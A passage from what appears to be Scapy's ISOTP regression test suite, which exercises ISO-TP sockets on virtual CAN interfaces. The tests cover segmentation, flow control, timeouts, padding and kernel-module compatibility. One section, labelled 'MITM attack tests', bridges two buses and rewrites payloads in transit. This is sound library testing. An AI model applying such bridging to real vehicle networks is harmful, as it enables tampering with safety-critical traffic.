lost if they arrive before the sniff() is called with new_can_socket(iface0) as ss, new_can_socket0() as sr: tx_func = lambda: ss.send(CAN(identifier=0x111, data=b"\x01\x23\x45\x67")) p = sr.sniff(count=1, timeout=0.2, started_callback=tx_func) assert(len(p)==1) tx_func = lambda: ss.send(CAN(identifier=0x111, data=b"\x89\xab\xcd\xef")) p = sr.sniff(count=1, timeout=0.2, started_callback=tx_func) assert(len(p)==1) = Send single frame ISOTP message, using begin_send with new_can_socket(iface0) as isocan, \ ISOTPSocket(isocan, sid=0x641, did=0x241) as s, \ new_can_socket0() as cans: can = cans.sniff(timeout=2, count=1, started_callback=lambda: s.begin_send(ISOTP(data=dhex("01 02 03 04 05")))) assert(can[0].identifier == 0x641) assert(can[0].data == dhex("05 01 02 03 04 05")) = Send many single frame ISOTP messages, using begin_send with new_can_socket0() as isocan, \ ISOTPSocket(isocan, sid=0x641, did=0x241) as s, \ new_can_socket0() as cans: for i in range(100): data = dhex("01 02 03 04 05") + struct.pack("B", i) expected = struct.pack("B", len(data)) + data can = cans.sniff(timeout=4, count=1, started_callback=lambda: s.begin_send(ISOTP(data=data))) assert(can[0].identifier == 0x641) print(can[0].data, data) assert(can[0].data == expected) = Send two-frame ISOTP message, using begin_send with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x641, did=0x241) as s: with new_can_socket(iface0) as cans: can = cans.sniff(timeout=1, count=1, started_callback=lambda: s.begin_send(ISOTP(data=dhex("01 02 03 04 05 06 07 08")))) assert can[0].identifier == 0x641 assert can[0].data == dhex("10 08 01 02 03 04 05 06") can = cans.sniff(timeout=1, count=1, started_callback=lambda: cans.send(CAN(identifier = 0x241, data=dhex("30 00 00")))) assert can[0].identifier == 0x641 assert can[0].data == dhex("21 07 08") cans.close() = Send single frame ISOTP message with new_can_socket(iface0) as cans: with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x641, did=0x241) as s: s.send(ISOTP(data=dhex("01 02 03 04 05"))) can = cans.sniff(timeout=1, count=1) assert(can[0].identifier == 0x641) assert(can[0].data == dhex("05 01 02 03 04 05")) = Send two-frame ISOTP message acker_ready = threading.Event() def acker(): with new_can_socket(iface0) as acks: acker_ready.set() can_pkt = acks.sniff(timeout=1, count=1) can = can_pkt[0] acks.send(CAN(identifier = 0x241, data=dhex("30 00 00"))) Thread(target=acker).start() acker_ready.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x641, did=0x241) as s: with new_can_socket(iface0) as cans: s.send(ISOTP(data=dhex("01 02 03 04 05 06 07 08"))) can = cans.sniff(timeout=1, count=1)[0] assert(can.identifier == 0x641) assert(can.data == dhex("10 08 01 02 03 04 05 06")) can = cans.sniff(timeout=1, count=1)[0] assert(can.identifier == 0x241) assert(can.data == dhex("30 00 00")) can = cans.sniff(timeout=1, count=1)[0] assert(can.identifier == 0x641) assert(can.data == dhex("21 07 08")) = Send two-frame ISOTP message with bs acker_ready = threading.Event() def acker(): with new_can_socket(iface0) as acks: acker_ready.set() can_pkt = acks.sniff(timeout=1, count=1) can = can_pkt[0] acks.send(CAN(identifier = 0x241, data=dhex("30 20 00"))) Thread(target=acker).start() acker_ready.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x641, did=0x241) as s: with new_can_socket(iface0) as cans: s.send(ISOTP(data=dhex("01 02 03 04 05 06 07 08"))) can = cans.sniff(timeout=1, count=1)[0] assert(can.identifier == 0x641) assert(can.data == dhex("10 08 01 02 03 04 05 06")) can = cans.sniff(timeout=1, count=1)[0] assert(can.identifier == 0x241) assert(can.data == dhex("30 20 00")) can = cans.sniff(timeout=1, count=1)[0] assert(can.identifier == 0x641) assert(can.data == dhex("21 07 08")) = Send two-frame ISOTP message with ST acker_ready = threading.Event() def acker(): with new_can_socket0() as acks: acker_ready.set() can_pkt = acks.sniff(timeout=1, count=1) can = can_pkt[0] acks.send(CAN(identifier = 0x241, data=dhex("30 00 10"))) Thread(target=acker).start() acker_ready.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x641, did=0x241) as s: with new_can_socket(iface0) as cans: s.send(ISOTP(data=dhex("01 02 03 04 05 06 07 08"))) can = cans.sniff(timeout=1, count=1)[0] assert(can.identifier == 0x641) assert(can.data == dhex("10 08 01 02 03 04 05 06")) can = cans.sniff(timeout=1, count=1)[0] assert(can.identifier == 0x241) assert(can.data == dhex("30 00 10")) can = cans.sniff(timeout=1, count=1)[0] assert(can.identifier == 0x641) assert(can.data == dhex("21 07 08")) = Receive a single frame ISOTP message with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x641, did=0x241) as s: with new_can_socket(iface0) as cans: cans.send(CAN(identifier = 0x241, data = dhex("05 01 02 03 04 05"))) isotp = s.recv() assert(isotp.data == dhex("01 02 03 04 05")) assert(isotp.src == 0x641) assert(isotp.dst == 0x241) assert(isotp.exsrc == None) assert(isotp.exdst == None) = Receive a single frame ISOTP message, with extended addressing with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x641, did=0x241, extended_addr=0xc0, extended_rx_addr=0xea) as s: with new_can_socket(iface0) as cans: cans.send(CAN(identifier = 0x241, data = dhex("EA 05 01 02 03 04 05"))) isotp = s.recv() assert(isotp.data == dhex("01 02 03 04 05")) assert(isotp.src == 0x641) assert(isotp.dst == 0x241) assert(isotp.exsrc == 0xc0) assert(isotp.exdst == 0xea) = Receive frames from CandumpReader candump_fd = BytesIO(b''' vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA''') with ISOTPSocket(CandumpReader(candump_fd), sid=0x241, did=0x541, listen_only=True) as s: pkts = s.sniff(timeout=2, count=6) assert(len(pkts) == 6) isotp = pkts[0] print(repr(isotp)) print(hex(isotp.src)) print(hex(isotp.dst)) assert(isotp.data == dhex("DE AD BE EF AA AA AA AA AA AA")) assert(isotp.src == 0x241) assert(isotp.dst == 0x541) = Receive frames from CandumpReader with ISOTPSniffer without extended addressing candump_fd = BytesIO(b''' vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA''') pkts = sniff(opened_socket=CandumpReader(candump_fd), session=ISOTPSession, timeout=1, session_kwargs={"use_ext_addr": False}) assert(len(pkts) == 6) isotp = pkts[0] assert(isotp.data == dhex("DE AD BE EF AA AA AA AA AA AA")) assert (isotp.dst == 0x541) = Receive frames from CandumpReader with ISOTPSniffer * all flow control frames are detected as single frame with extended address candump_fd = BytesIO(b''' vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA''') pkts = sniff(opened_socket=CandumpReader(candump_fd), session=ISOTPSession, timeout=1) assert(len(pkts) == 12) isotp = pkts[1] assert(isotp.data == dhex("DE AD BE EF AA AA AA AA AA AA")) assert (isotp.dst == 0x541) isotp = pkts[0] assert(isotp.data == dhex("")) assert (isotp.dst == 0x241) = Receive frames from CandumpReader with ISOTPSniffer and count * all flow control frames are detected as single frame with extended address candump_fd = BytesIO(b''' vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA vcan0 541 [8] 10 0A DE AD BE EF AA AA vcan0 241 [3] 30 00 00 vcan0 541 [5] 21 AA AA AA AA''') pkts = sniff(opened_socket=CandumpReader(candump_fd), session=ISOTPSession, timeout=1, count=2) assert(len(pkts) == 2) isotp = pkts[1] assert(isotp.data == dhex("DE AD BE EF AA AA AA AA AA AA")) assert (isotp.dst == 0x541) isotp = pkts[0] assert(isotp.data == dhex("")) assert (isotp.dst == 0x241) = Receive a two-frame ISOTP message with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x641, did=0x241) as s: with new_can_socket(iface0) as cans: cans.send(CAN(identifier = 0x241, data = dhex("10 0B 01 02 03 04 05 06"))) cans.send(CAN(identifier = 0x241, data = dhex("21 07 08 09 10 11"))) isotp = s.recv() assert(isotp.data == dhex("01 02 03 04 05 06 07 08 09 10 11")) = Check what happens when a CAN frame with wrong identifier gets received with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x641, did=0x241) as s: with new_can_socket(iface0) as cans: cans.send(CAN(identifier = 0x141, data = dhex("05 01 02 03 04 05"))) assert(s.ins.rx_queue.empty()) + Testing ISOTPSocket timeouts = Check if not sending the last CF will make the socket timeout with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x641, did=0x241) as s: with new_can_socket(iface0) as cans: cans.send(CAN(identifier = 0x241, data = dhex("10 11 01 02 03 04 05 06"))) cans.send(CAN(identifier = 0x241, data = dhex("21 07 08 09 0A 0B 0C 0D"))) isotp = s.sniff(timeout=1) assert(len(isotp) == 0) = Check if not sending the first CF will make the socket timeout with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x641, did=0x241) as s: with new_can_socket(iface0) as cans: cans.send(CAN(identifier = 0x241, data = dhex("10 11 01 02 03 04 05 06"))) isotp = s.sniff(timeout=1) assert(len(isotp) == 0) = Check if not sending the first FC will make the socket timeout exception = None isotp = ISOTP(data=dhex("01 02 03 04 05 06 07 08 09 0A")) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x641, did=0x241) as s: try: s.send(isotp) assert(False) except Scapy_Exception as ex: exception = ex print(exception) assert(str(exception) == "TX state was reset due to timeout" or str(exception) == "ISOTP send not completed in 30s") = Check if not sending the second FC will make the socket timeout exception = None isotp = ISOTP(data=b"\xa5" * 120) test_sem = threading.Semaphore(0) evt = threading.Event() def acker(): with new_can_socket(iface0) as cans: evt.set() can = cans.sniff(timeout=1, count=1)[0] cans.send(CAN(identifier = 0x241, data=dhex("30 04 00"))) thread = Thread(target=acker) thread.start() evt.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x641, did=0x241) as s: try: s.send(isotp) except Scapy_Exception as ex: exception = ex cans.close() thread.join(timeout=5) assert(exception is not None) print(exception) assert(str(exception) == "TX state was reset due to timeout") = Check if reception of an overflow FC will make a send fail exception = None isotp = ISOTP(data=b"\xa5" * 120) test_sem = threading.Semaphore(0) evt = threading.Event() def acker(): with new_can_socket(iface0) as cans: evt.set() can = cans.sniff(timeout=1, count=1)[0] cans.send(CAN(identifier = 0x241, data=dhex("32 00 00"))) thread = Thread(target=acker) thread.start() evt.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x641, did=0x241) as s: try: s.send(isotp) except Scapy_Exception as ex: exception = ex thread.join(timeout=5) assert(exception is not None) print(exception) assert(str(exception) == "Overflow happened at the receiver side") = Close the Socket with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x641, did=0x241) as s: s.close() + More complex operations = ISOTPSoftSocket sr1 drain_bus(iface0) drain_bus(iface1) evt = threading.Event() msg = ISOTP(b'\x11\x22\x33\x11\x22\x33\x11\x22\x33\x11\x22\x33') rx2 = None evt2 = threading.Event() def sender(sock): global evt, rx2, msg evt2.set() evt.wait(timeout=5) rx2 = sock.sr1(msg, timeout=3, verbose=True) with new_can_socket0() as isocan_tx, ISOTPSoftSocket(isocan_tx, 0x123, 0x321) as sock_tx, \ new_can_socket0() as isocan_rx, ISOTPSoftSocket(isocan_rx, 0x321, 0x123) as sock_rx: txThread = threading.Thread(target=sender, args=(sock_tx,)) txThread.start() evt2.wait(timeout=1) rx = sock_rx.sniff(timeout=3, count=1, started_callback=evt.set)[0] sock_rx.send(msg) sent = True txThread.join(timeout=5) assert(rx == msg) assert(sent) assert(rx2 is not None) assert(rx2 == msg) = ISOTPSoftSocket sr1 and ISOTP test vice versa drain_bus(iface0) drain_bus(iface1) rx2 = None sent = False evt = threading.Event() msg = ISOTP(b'\x11\x22\x33\x11\x22\x33\x11\x22\x33\x11\x22\x33') with new_can_socket0() as isocan, ISOTPSoftSocket(isocan, 0x123, 0x321) as txSock: def receiver(): global rx2, sent with new_can_socket0() as isocan, ISOTPSoftSocket(isocan, 0x321, 0x123) as rxSock: evt.set() rx2 = rxSock.sniff(count=1) rxSock.send(msg) sent = True rxThread = threading.Thread(target=receiver, name="receiver") rxThread.start() evt.wait(timeout=5) rx = txSock.sr1(msg, timeout=5,verbose=True) rxThread.join(timeout=5) assert(rx is not None) assert(rx == msg) assert(len(rx2) == 1) assert(rx2[0] == msg) assert(sent) = ISOTPSoftSocket sniff evt = threading.Event() succ = False def receiver(): global evt, succ, rx with new_can_socket0() as isocan, \ ISOTPSoftSocket(isocan, 0x321, 0x123) as sock: rx = sock.sniff(count=5, timeout=5, started_callback=evt.set) succ = True rxThread = threading.Thread(target=receiver) rxThread.start() evt.wait(timeout=5) msg = ISOTP(b'\x11\x22\x33\x11\x22\x33\x11\x22\x33\x11\x22\x33') with new_can_socket0() as isocan, \ ISOTPSoftSocket(isocan, 0x123, 0x321) as sock: msg.data += b'0' sock.send(msg) msg.data += b'1' sock.send(msg) msg.data += b'2' sock.send(msg) msg.data += b'3' sock.send(msg) msg.data += b'4' sock.send(msg) rxThread.join(timeout=5) msg = ISOTP(b'\x11\x22\x33\x11\x22\x33\x11\x22\x33\x11\x22\x33') msg.data += b'0' assert(rx[0] == msg) msg.data += b'1' assert(rx[1] == msg) msg.data += b'2' assert(rx[2] == msg) msg.data += b'3' assert(rx[3] == msg) msg.data += b'4' assert(rx[4] == msg) assert(succ) + ISOTPSoftSocket MITM attack tests = bridge and sniff with isotp soft sockets set up vcan0 and vcan1 for package forwarding vcan1 drain_bus(iface0) drain_bus(iface1) succ = False with new_can_socket0() as can0_0, \ new_can_socket0() as can0_1, \ new_can_socket1() as can1_0, \ new_can_socket1() as can1_1, \ ISOTPSoftSocket(can0_0, sid=0x241, did=0x641) as isoTpSocket0, \ ISOTPSoftSocket(can1_0, sid=0x541, did=0x141) as isoTpSocket1, \ ISOTPSoftSocket(can0_1, sid=0x641, did=0x241) as bSocket0, \ ISOTPSoftSocket(can1_1, sid=0x141, did=0x141) as bSocket1: evt = threading.Event() def forwarding(pkt): global forwarded forwarded += 1 return pkt def bridge(): global forwarded, succ forwarded = 0 bridge_and_sniff(if1=bSocket0, if2=bSocket1, xfrm12=forwarding, xfrm21=forwarding, timeout=0.5, started_callback=evt.set) succ = True threadBridge = threading.Thread(target=bridge) threadBridge.start() evt.wait(timeout=5) packetsVCan1 = isoTpSocket1.sniff(timeout=0.5, started_callback=lambda: isoTpSocket0.send(ISOTP(b'Request'))) threadBridge.join(timeout=5) assert forwarded == 1 assert len(packetsVCan1) == 1 assert succ drain_bus(iface0) drain_bus(iface1) = bridge and sniff with isotp soft sockets and multiple long packets drain_bus(iface0) drain_bus(iface1) N = 3 T = 20 succ = False with new_can_socket0() as can0_0, \ new_can_socket0() as can0_1, \ new_can_socket1() as can1_0, \ new_can_socket1() as can1_1, \ ISOTPSoftSocket(can0_0, sid=0x241, did=0x641) as isoTpSocket0, \ ISOTPSoftSocket(can1_0, sid=0x541, did=0x141) as isoTpSocket1, \ ISOTPSoftSocket(can0_1, sid=0x641, did=0x241) as bSocket0, \ ISOTPSoftSocket(can1_1, sid=0x141, did=0x541) as bSocket1: evt = threading.Event() def forwarding(pkt): global forwarded forwarded += 1 return pkt def bridge(): global forwarded, succ forwarded = 0 bridge_and_sniff(if1=bSocket0, if2=bSocket1, xfrm12=forwarding, xfrm21=forwarding, timeout=T, count=N, started_callback=evt.set) succ = True def sendpkts(): for _ in range(N): time.sleep(0.2) isoTpSocket0.send(ISOTP(b'RequestASDF1234567890')) threadBridge = threading.Thread(target=bridge) threadBridge.start() evt.wait(timeout=5) sender = threading.Thread(target=sendpkts) packetsVCan1 = isoTpSocket1.sniff(timeout=T, count=N, started_callback=sender.start) sender.join(timeout=5) print("forwarded: %d" % forwarded) print("len(packetsVCan1): %d" % len(packetsVCan1)) threadBridge.join(timeout=5) assert forwarded == N assert len(packetsVCan1) == N assert succ drain_bus(iface0) drain_bus(iface1) = bridge and sniff with isotp soft sockets set up vcan0 and vcan1 for package change vcan1 drain_bus(iface0) drain_bus(iface1) succ = False with new_can_socket0() as can0_0, \ new_can_socket0() as can0_1, \ new_can_socket1() as can1_0, \ new_can_socket1() as can1_1, \ ISOTPSoftSocket(can0_0, sid=0x241, did=0x641) as isoTpSocket0, \ ISOTPSoftSocket(can1_0, sid=0x641, did=0x241) as isoTpSocket1, \ ISOTPSoftSocket(can0_1, sid=0x641, did=0x241) as bSocket0, \ ISOTPSoftSocket(can1_1, sid=0x241, did=0x641) as bSocket1: evt = threading.Event() def forwarding(pkt): pkt.data = 'changed' return pkt def bridge(): global succ bridge_and_sniff(if1=bSocket0, if2=bSocket1, xfrm12=forwarding, xfrm21=forwarding, timeout=5, started_callback=evt.set) succ = True threadBridge = threading.Thread(target=bridge) threadBridge.start() evt.wait(timeout=5) packetsVCan1 = isoTpSocket1.sniff(timeout=2, started_callback=lambda: isoTpSocket0.send(ISOTP(b'Request'))) threadBridge.join(timeout=5) assert len(packetsVCan1) == 1 assert packetsVCan1[0].data == b'changed' assert succ drain_bus(iface0) drain_bus(iface1) = Two ISOTPSockets at the same time, sending and receiving with new_can_socket0() as cs1, ISOTPSocket(cs1, sid=0x641, did=0x241) as s1, \ new_can_socket0() as cs2, ISOTPSocket(cs2, sid=0x241, did=0x641) as s2: isotp = ISOTP(data=b"\x10\x25" * 43) def sender(): s2.send(isotp) t = Thread(target=sender) result = s1.sniff(count=1, timeout=5, started_callback=t.start) t.join(timeout=5) assert len(result) == 1 assert(result[0].data == isotp.data) = Two ISOTPSockets at the same time, multiple sends/receives with new_can_socket0() as cs1, ISOTPSocket(cs1, sid=0x641, did=0x241) as s1, \ new_can_socket0() as cs2, ISOTPSocket(cs2, sid=0x241, did=0x641) as s2: def sender(p): s2.send(p) for i in range(1, 40, 5): isotp = ISOTP(data=bytearray(range(i, i * 2))) t = Thread(target=sender, args=(isotp,)) result = s1.sniff(count=1, timeout=5, started_callback=t.start) t.join(timeout=5) assert len(result) assert (result[0].data == isotp.data) = Send a single frame ISOTP message with padding with new_can_socket0() as cs1, ISOTPSocket(cs1, sid=0x641, did=0x241, padding=True) as s: with new_can_socket(iface0) as cans: s.send(ISOTP(data=dhex("01"))) res = cans.sniff(timeout=1, count=1)[0] assert(res.length == 8) = Send a two-frame ISOTP message with padding acker_ready = threading.Event() def acker(): with new_can_socket(iface0) as acks: acker_ready.set() can = acks.sniff(timeout=1, count=1)[0] acks.send(CAN(identifier = 0x241, data=dhex("30 00 00"))) with new_can_socket(iface0) as cans: ack_thread = Thread(target=acker) ack_thread.start() acker_ready.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x641, did=0x241, padding=True) as s: s.send(ISOTP(data=dhex("01 02 03 04 05 06 07 08"))) can = cans.sniff(timeout=1, count=1)[0] assert(can.identifier == 0x641) assert(can.data == dhex("10 08 01 02 03 04 05 06")) can = cans.sniff(timeout=1, count=1)[0] assert(can.identifier == 0x241) assert(can.data == dhex("30 00 00")) can = cans.sniff(timeout=1, count=1)[0] assert(can.identifier == 0x641) assert(can.data == dhex("21 07 08 00 00 00 00 00")) ack_thread.join(timeout=5) = Receive a padded single frame ISOTP message with padding disabled with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x641, did=0x241, padding=False) as s: with new_can_socket(iface0) as cans: cans.send(CAN(identifier=0x241, data=dhex("02 05 06 00 00 00 00 00"))) res = s.recv() assert(res.data == dhex("05 06")) = Receive a padded single frame ISOTP message with padding enabled with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x641, did=0x241, padding=True) as s: with new_can_socket(iface0) as cans: cans.send(CAN(identifier=0x241, data=dhex("02 05 06 00 00 00 00 00"))) res = s.recv() assert(res.data == dhex("05 06")) = Receive a non-padded single frame ISOTP message with padding enabled with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x641, did=0x241, padding=True) as s: with new_can_socket(iface0) as cans: cans.send(CAN(identifier=0x241, data=dhex("02 05 06"))) res = s.recv() assert(res.data == dhex("05 06")) = Receive a padded two-frame ISOTP message with padding enabled with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x641, did=0x241, padding=True) as s: with new_can_socket(iface0) as cans: cans.send(CAN(identifier=0x241, data=dhex("10 09 01 02 03 04 05 06"))) cans.send(CAN(identifier=0x241, data=dhex("21 07 08 09 00 00 00 00"))) res = s.recv() assert(res.data == dhex("01 02 03 04 05 06 07 08 09")) = Receive a padded two-frame ISOTP message with padding disabled with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x641, did=0x241, padding=False) as s: with new_can_socket(iface0) as cans: cans.send(CAN(identifier=0x241, data=dhex("10 09 01 02 03 04 05 06"))) cans.send(CAN(identifier=0x241, data=dhex("21 07 08 09 00 00 00 00"))) res = s.recv() res.show() print(res.data) print(raw(res)) assert(res.data == dhex("01 02 03 04 05 06 07 08 09")) + Compatibility with can-isotp linux kernel modules ~ vcan_socket needs_root linux = Compatibility with isotpsend exit_if_no_isotp_module() message = "01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14" with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x642, did=0x242) as s: p = subprocess.Popen(["isotpsend", "-s", "242", "-d", "642", iface0], stdin=subprocess.PIPE, universal_newlines=True) p.communicate(message) r = p.returncode print("returncode is %d" % r) assert(r == 0) isotp = s.recv() assert(isotp.data == dhex(message)) = Compatibility with isotpsend - extended addresses exit_if_no_isotp_module() message = "01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14" with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x644, did=0x244, extended_addr=0xaa, extended_rx_addr=0xee) as s: p = subprocess.Popen(["isotpsend", "-s", "244", "-d", "644", "-x", "ee:aa", iface0], stdin=subprocess.PIPE, universal_newlines=True) p.communicate(message) r = p.returncode print("returncode is %d" % r) assert(r == 0) isotp = s.recv() assert(isotp.data == dhex(message)) = Compatibility with isotprecv exit_if_no_isotp_module() isotp = ISOTP(data=bytearray(range(1,20))) cmd = ["isotprecv", "-s", "243", "-d", "643", "-b", "3", iface0] print(" ".join(cmd)) p = subprocess.Popen(cmd, stdout=subprocess.PIPE) time.sleep(0.1) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x643, did=0x243) as s: s.send(isotp) threading.Timer(1, lambda: p.terminate() if p.poll() else p.wait()).start() # Timeout the receiver after 1 second r = p.wait() print("returncode is %d" % r) assert(0 == r) result = None for i in range(10): time.sleep(0.1) if p.poll() is not None: result = p.stdout.readline().decode().strip() break assert(result is not None) print(result) result_data = dhex(result) assert(result_data == isotp.data) = Compatibility with isotprecv - extended addresses exit_if_no_isotp_module() isotp = ISOTP(data=bytearray(range(1,20))) cmd = ["isotprecv", "-s245", "-d645", "-b3", "-x", "ee:aa", iface0] print(" ".join(cmd)) p = subprocess.Popen(cmd, stdout=subprocess.PIPE) time.sleep(0.1) # Give some time for starting reception with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x645, did=0x245, extended_addr=0xaa, extended_rx_addr=0xee) as s: s.send(isotp) threading.Timer(1, lambda: p.terminate() if p.poll() else p.wait()).start() # Timeout the receiver after 1 second r = p.wait() print("returncode is %d" % r) assert(0 == r) result = None for i in range(10): time.sleep(0.1) if p.poll() is not None: result = p.stdout.readline().decode().strip() break assert(result is not None) print(result) result_data = dhex(result) assert(result_data == isotp.data) + ISOTPNativeSocket tests ~ python3_only not_pypy vcan_socket needs_root linux = Overwrite definition for vcan_socket systems native sockets ~ conf if six.PY3 and LINUX: conf.contribs['CANSocket'] = {'use-python-can': False} from scapy.contrib.cansocket_native import * new_can_socket = lambda iface: CANSocket(iface) new_can_socket0 = lambda: CANSocket(iface0) new_can_socket1 = lambda: CANSocket(iface1) = Create ISOTP socket exit_if_no_isotp_module() s = ISOTPNativeSocket(iface0, sid=0x641, did=0x241) = Send single frame ISOTP message exit_if_no_isotp_module() with new_can_socket(iface0) as cans: s = ISOTPNativeSocket(iface0, sid=0x641, did=0x241) s.send(ISOTP(data=dhex("01 02 03 04 05"))) can = cans.sniff(timeout=1, count=1)[0] assert(can.identifier == 0x641) assert(can.data == dhex("05 01 02 03 04 05")) = Send single frame ISOTP message Test init with CANSocket exit_if_no_isotp_module() cans = CANSocket(iface0) s = ISOTPNativeSocket(cans, sid=0x641, did=0x241) s.send(ISOTP(data=dhex("01 02 03 04 05"))) can = cans.sniff(timeout=1, count=1)[0] assert(can.identifier == 0x641) assert(can.data == dhex("05 01 02 03 04 05")) cans.close() = Test init with wrong type exit_if_no_isotp_module() exception_catched = False try: s = ISOTPNativeSocket(42, sid=0x641, did=0x241) except Scapy_Exception: exception_catched = True assert exception_catched = Send two-frame ISOTP message exit_if_no_isotp_module() evt = threading.Event() def acker(): with new_can_socket(iface0) as cans: evt.set() can = cans.sniff(timeout=1, count=1)[0] cans.send(CAN(identifier = 0x241, data=dhex("30 00 00"))) with new_can_socket(iface0) as cans: t = Thread(target=acker) t.start() s = ISOTPNativeSocket(iface0, sid=0x641, did=0x241) evt.wait(timeout=5) s.send(ISOTP(data=dhex("01 02 03 04 05 06 07 08"))) can = cans.sniff(timeout=1, count=1)[0] assert(can.identifier == 0x641) assert(can.data == dhex("10 08 01 02 03 04 05 06")) can = cans.sniff(timeout=1, count=1)[0] assert(can.identifier == 0x241) assert(can.data == dhex("30 00 00")) can = cans.sniff(timeout=1, count=1)[0] assert(can.identifier == 0x641) assert(can.data == dhex("21 07 08")) t.join(timeout=5) = Send a single frame ISOTP message with padding exit_if_no_isotp_module() s = ISOTPNativeSocket(iface0, sid=0x641, did=0x241, padding=True) with new_can_socket(iface0) as cans: s.send(ISOTP(data=dhex("01"))) can = cans.sniff(timeout=1, count=1)[0] assert(can.length == 8) = Send a two-frame ISOTP message with padding exit_if_no_isotp_module() acker_ready = threading.Event() def acker(): with new_can_socket(iface0) as acks: acker_ready.set() can = acks.sniff(timeout=1, count=1)[0] acks.send(CAN(identifier = 0x241, data=dhex("30 00 00"))) with new_can_socket(iface0) as cans: Thread(target=acker).start() acker_ready.wait(timeout=5) s = ISOTPNativeSocket(iface0, sid=0x641, did=0x241, padding=True) s.send(ISOTP(data=dhex("01 02 03 04 05 06 07 08"))) can = cans.sniff(timeout=1, count=1)[0] assert(can.identifier == 0x641) assert(can.data == dhex("10 08 01 02 03 04 05 06")) can = cans.sniff(timeout=1, count=1)[0] assert(can.identifier == 0x241) assert(can.data == dhex("30 00 00")) can = cans.sniff(timeout=1, count=1)[0] assert(can.identifier == 0x641) assert(can.data == dhex("21 07 08 00 00 00 00 00")) = Receive a padded single frame ISOTP message with padding disabled exit_if_no_isotp_module() s = ISOTPNativeSocket(iface0, sid=0x641, did=0x241, padding=False) with new_can_socket(iface0) as cans: cans.send(CAN(identifier=0x241, data=dhex("02 05 06 00 00 00 00 00"))) res = s.recv() assert(res.data == dhex("05 06")) = Receive a padded single frame ISOTP message with padding enabled exit_if_no_isotp_module() s = ISOTPNativeSocket(iface0, sid=0x641, did=0x241, padding=True) with 